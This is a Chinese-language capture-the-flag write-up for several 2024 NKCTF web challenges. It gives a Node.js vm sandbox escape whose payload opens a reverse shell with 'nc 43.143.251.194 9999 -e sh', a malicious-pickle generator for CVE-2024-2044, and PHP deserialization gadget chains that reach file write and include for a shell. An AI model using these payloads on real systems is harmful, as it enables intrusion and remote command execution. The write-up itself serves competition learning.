2024 NKCTF
my first cms
后台地址:admin/login.php
爆破密码:
登陆后插件修改返回的请求头为命令执行
全世界最简单的CTF
访问/secret给了源码:
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
// waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
选一个vm逃逸payload:
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
禁用了字符和中括号参考https://www.anquanke.com/post/id/237032#h3-11
payload:
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const a = args.constructor.constructor("return global")();
const b = Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
throw Reflect.get(b, Reflect.ownKeys(b).find(x=>x.includes('ex')))("nc 43.143.251.194 9999 -e sh");
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
attack_tacooooo
账号密码:tacooooo@qq.com/tacooooo
登陆后利用漏洞cve-2024-2044即可getshell
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"ping e01mvg.dnslog.cn"))
上传文件
修改Cookie../storage/tacooooo_qq.com/posix.pickle!a
用过就是熟悉
给了附件,入口在登陆
所以接下来就是找反序列化链了,从__destruct开始
搜到了Windows.php再加removeFiles,梦回tp链
跟着tp往下一路跟:
Windwos#__destruct##removeFiles()
Collection#__toString##toJson()###toArray()
到这里toArray()有点不一样了,这里他自己实现了这个toArray方法
不过这里一眼就看出还是可以调用__get的,调用View的可以接着触发__call方法
这里的__call方法有两个可以调用:
TestOne的
Config的:
一个是写文件,另一个是包含。最初的思路是包含hint.php的内容直接执行命令,但是hint.php不是马
只能先利用TestOne的把hint写出来访问然后下一步:(链子可能乱了点,因为本来是打算调用Config直接getshell的)
<?php
namespace think;
class Config
{}
namespace think;
abstract class Testone
{}
namespace think;
use think\exception\ClassNotFoundException;
use think\response\Redirect;
class Debug extends Testone{
protected $data = [];
public $engine;
public function __construct(){
$this->data["Loginout"] = new Config();
$this->engine = array("time"=>"10086");
}
}
namespace think;
class View
{
protected $data = [];
public $engine;
public function __construct(){
$this->data["Loginout"] = new Debug();
$this->engine = array("time"=>"10086");
}
}
namespace think;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use Traversable;
class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable{
protected $items = [];
/**
* Collection constructor.
* @access public
* @param array $items 数据
*/
public function __construct($items = [])
{
$this->items = new View();
}
public function getIterator()
{
// TODO: Implement getIterator() method.
}
public function offsetExists($offset)
{
// TODO: Implement offsetExists() method.
}
public function offsetGet($offset)
{
// TODO: Implement offsetGet() method.
}
public function offsetSet($offset, $value)
{
// TODO: Implement offsetSet() method.
}
public function offsetUnset($offset)
{
// TODO: Implement offsetUnset() method.
}
public function count()
{
// TODO: Implement count() method.
}
public function jsonSerialize()
{
// TODO: Implement jsonSerialize() method.
}
}
namespace think\process\pipes;
use think\Collection;
use think\Process;
class Windows extends Pipes{
public $filename;
public $files;
public function __construct(){
$this->filename = new Collection();
$this->files = array(new Collection());
}
}
abstract class Pipes{}
$windows = new Windows();
$serialize = serialize($windows);
echo base64_encode($serialize);
这个md5就是bp返回包里面的时间戳加密
得到一份这样的文件:
亲爱的Chu0,
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
hint: 新建文件
这里预期应该是通过这个密码解密得到密码
但是sql文件里面可以直接看到:
密码是!@!@!@!@NKCTFChu0
预期应该是通过解密来得到:
<?php
/*
* @link http://kodcloud.com/
* @author warlee | e-mail:kodcloud@qq.com
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*------
* 字符串加解密类;
* 一次一密;且定时解密有效
* 可用于加密&动态key生成
* demo:
* 加密:echo Mcrypt::encode('abc','123');
* 解密:echo Mcrypt::decode('9f843I0crjv5y0dWE_-uwzL_mZRyRb1ynjGK4I_IACQ','123');
*/
class Mcrypt{
public static $defaultKey = 'a!takA:dlmcldEv,e';
/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function encode($string,$key = '', $expiry = 0,$cKeySet='',$encode=true){
if($encode){$string = rawurlencode($string);}
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验证
$keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV)
$cKeySet = $cKeySet ? $cKeySet: md5(microtime());
$keyc = substr($cKeySet, - $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
$string = sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;
$stringLength = strlen($string);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}
$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符
$result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
$result = $keyc . str_replace('=', '', base64_encode($result));
$result = str_replace(array('+', '/', '='),array('-', '_', '.'), $result);
return $result;
}
/**
* 字符加解密,一次一密,可定时解密有效
*
* @param string $string 原文或者密文
* @param string $operation 操作(encode | decode)
* @param string $key 密钥
* @param int $expiry 密文有效期,单位s,0 为永久有效
* @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
*/
public static function decode($string,$key = '',$encode=true){
$string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string);
$ckeyLength = 4;
$key = md5($key ? $key : self::$defaultKey); //解密密匙
$keya = md5(substr($key, 0, 16)); //做数据完整性验证
$keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV)
$keyc = substr($string, 0, $ckeyLength);
$cryptkey = $keya . md5($keya . $keyc);
$keyLength = strlen($cryptkey);
$string = base64_decode(substr($string, $ckeyLength));
$stringLength = strlen($string);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $keyLength]);
}
$box = range(0, 255);
// 打乱密匙簿,增加随机性
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 加解密,从密匙簿得出密匙进行异或,再转成字符
$result = '';
for($a = $j = $i = 0; $i < $stringLength; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
$theTime = intval(substr($result, 0, 10));
$resultStr = '';
if (($theTime == 0 || $theTime - time() > 0)
&& substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
) {
$resultStr = substr($result, 26);
if($encode){$resultStr = rawurldecode($resultStr);}
}
return $resultStr;
}
}
$key = substr("tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI", 0, 5) . "2&$%@(*@(djfhj1923";
$strings = Mcrypt::decode(substr("tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI", 5), $key);
echo $strings;
// echo Mcrypt::decode('tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI',"2&$%@(*@(djfhj1923");
利用密码!@!@!@!@NKCTFChu0登陆
进去后可以看到一个文件
内容是:
这样就可以和include串起来了:
exp:
<?php
namespace think;
class Config
{}
namespace think;
class View
{
protected $data = [];
public $engine;
public function __construct(){
$this->data["Loginout"] = new Config();
$this->engine = array("name"=>"data/files/shell");
}
}
namespace think;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
use Traversable;
class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable{
protected $items = [];
/**
* Collection constructor.
* @access public
* @param array $items 数据
*/
public function __construct($items = [])
{
$this->items = new View();
}
public function getIterator()
{
// TODO: Implement getIterator() method.
}
public function offsetExists($offset)
{
// TODO: Implement offsetExists() method.
}
public function offsetGet($offset)
{
// TODO: Implement offsetGet() method.
}
public function offsetSet($offset, $value)
{
// TODO: Implement offsetSet() method.
}
public function offsetUnset($offset)
{
// TODO: Implement offsetUnset() method.
}
public function count()
{
// TODO: Implement count() method.
}
public function jsonSerialize()
{
// TODO: Implement jsonSerialize() method.
}
}
namespace think\process\pipes;
use think\Collection;
use think\Process;
class Windows extends Pipes{
public $filename;
public $files;
public function __construct(){
$this->filename = new Collection();
$this->files = array(new Collection());
}
}
abstract class Pipes{}
$windows = new Windows();
$serialize = serialize($windows);
echo base64_encode($serialize);
bp发包:
得到flag: